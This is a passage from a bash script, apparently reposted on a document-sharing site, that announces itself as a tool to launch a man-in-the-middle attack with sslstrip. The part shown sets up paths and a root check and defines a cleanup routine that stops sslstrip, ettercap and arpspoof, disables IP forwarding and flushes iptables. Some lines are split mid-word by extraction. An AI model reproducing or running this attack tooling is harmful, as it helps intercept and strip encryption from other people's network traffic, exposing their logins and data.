Académique Documents
Professionnel Documents
Culture Documents
/bin/bash
# Bash script to launch man it the middle attack and sslstrip.
# version 0.9 by comaX
version="20130313"
if [ $UID -ne 0 ]; then
echo -e "\033[31This program must be run as root.
This will probably fail.\033[m"
sleep 3
fi
log_output_dir=~
sslstrip_dir=/usr/share/sslstrip
ask_for_install=y
if [ ! -d "$log_output_dir" ]; then
mkdir -p $log_output_dir
fi
# if user ^C then execute cleanup function
trap fast_cleanup SIGINT # will prolly output errors, but that's normal since it
may try killing non-existing processes.
fast_cleanup()
{
echo -e "\n\n\033[31m ^C catched. Cleaning up, then exit.\033[m"
if [[ $looparseid != "" ]];then
kill $looparseid
fi
if [[ $sslstripid != "" ]];then
kill $sslstripid
fi
if [[ $dnsid != "" ]];then
kill $dnsid
fi
if [[ $etterspoofid != "" ]];then
kill $etterspoofid
fi
if [[ "$etter" = "1" ]];then
killall ettercap
else
killall arpspoof
fi
echo "0" > /proc/sys/net/ipv4/ip_forward #stop ipforwarding
iptables --flush # there are probably too many resets her
e,
iptables --table nat --flush # but at least we're sure everything's c
lean
iptables --delete-chain
iptables --table nat --delete-chain